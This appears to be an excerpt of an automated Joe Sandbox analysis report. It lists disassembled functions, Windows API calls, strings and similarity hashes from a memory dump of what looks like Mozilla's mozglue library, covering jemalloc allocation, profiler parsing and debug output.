LeaveCriticalSection.KERNEL32(?), ref: 6C67D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C67D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C67E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E315
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E37C
GetSystemInfo.KERNEL32(?), ref: 6C67E3C7
__Init_thread_footer.LIBCMT ref: 6C67E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C67E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C67E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C67E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C67E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C67E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE768,00001388), ref: 6C67E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C67E52E
ReleaseSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E54F

Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(?), ref: 6C66D999
Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66DA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C67E6DD
Compile-time page size does not divide the runtime one., xrefs: 6C67E621
<jemalloc>, xrefs: 6C67E61C, 6C67E6CC
MOZ_CRASH(), xrefs: 6C67E62B
MALLOC_OPTIONS, xrefs: 6C67E3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67E560, 6C67E58A, 6C67E5A5

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction ID: 76ea3646499f32143a589c8e346c2385426a3e0c1043c65ab74aae4095a5dddf
Opcode Fuzzy Hash: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction Fuzzy Hash: A592CC71A056018FD724CF29C480755FBE1BF8A728F29CA6DE8698B791D331E841CBD9

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

nvd3d9wrap.dll, xrefs: 6C694466
C>il, xrefs: 6C693E93
nvinit.dll, xrefs: 6C694479

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_CRASH(), xrefs: 6C670CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C6A5E79, 6C6A5E8F
ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
expected a Count entry, xrefs: 6C6A5AC3
expected a Time entry, xrefs: 6C6A5CB6
schema, xrefs: 6C6A606D
data, xrefs: 6C6A6131

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C667810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C667885
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6678A5
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C6678AD
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C6678CD
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C66795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C667BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C667C82
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C667CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C667DAF

Strings

Dml, xrefs: 6C66787F
Dml, xrefs: 6C66789F

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dml$Dml
API String ID: 759993129-3425531392
Opcode ID: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction ID: 125649142443908d71c898b46f96a21a619487f8041afc8721a811fe35b8d554
Opcode Fuzzy Hash: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction Fuzzy Hash: D3027471A0121ACFDB54CF1AC984799B7B5FF88318F2542AAD809A7B11D730BE91CF85

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
get , xrefs: 6C6A3205
set , xrefs: 6C6A36EC

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C697ECF, 6C698335
vml, xrefs: 6C698207
schema, xrefs: 6C6981E3, 6C698311
(pre-xul), xrefs: 6C697E88
data, xrefs: 6C698280, 6C6983E1

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C6B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qel,?), ref: 6C6B6046
OutputDebugStringA.KERNEL32(?,Qel,?), ref: 6C6B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6D148E), ref: 6C6B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qel,00000000,?), ref: 6C6B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B60C4

Strings

Qel, xrefs: 6C6B5FFC, 6C6B6042, 6C6B6045, 6C6B60B3

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qel
API String ID: 3835517998-143502305
Opcode ID: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction ID: 0bee4949a3c12674624caf69fdf099db811cb994a11b43c0f01aa4cdd0b21ba7
Opcode Fuzzy Hash: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction Fuzzy Hash: 5F21C971A002089FDF105F25DC89AAE7BB8FF85714F008428E95AD7241CB75B559CFEA

Function 6C675E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C6761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C677652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C67730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6772E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6772F8
MOZ_CRASH(), xrefs: 6C677BA4
ewkl, xrefs: 6C675E9C, 6C675F22, 6C6761ED
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C677BCD, 6C677C1F, 6C677C34, 6C6780FD

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewkl
API String ID: 2613674957-540203688
Opcode ID: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction ID: 13738e89483b599a26ee7064ab1de4d6f5ddb4f79b35eb5c83b6c5f952d12e41
Opcode Fuzzy Hash: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction Fuzzy Hash: 9C33BC716067018FC325CF28C590615BBE2FF85328F29CBADE8698B7A5D731E841CB59

Function 6C6A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

ml, xrefs: 6C6A4F88
ProfileBuffer parse error: %s, xrefs: 6C6A4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C6A4D65
schema, xrefs: 6C6A48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C6A4CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C6A4D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C6A4DB8, 6C6A4DD8
data, xrefs: 6C6A49B4
-%llu, xrefs: 6C6A4825

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
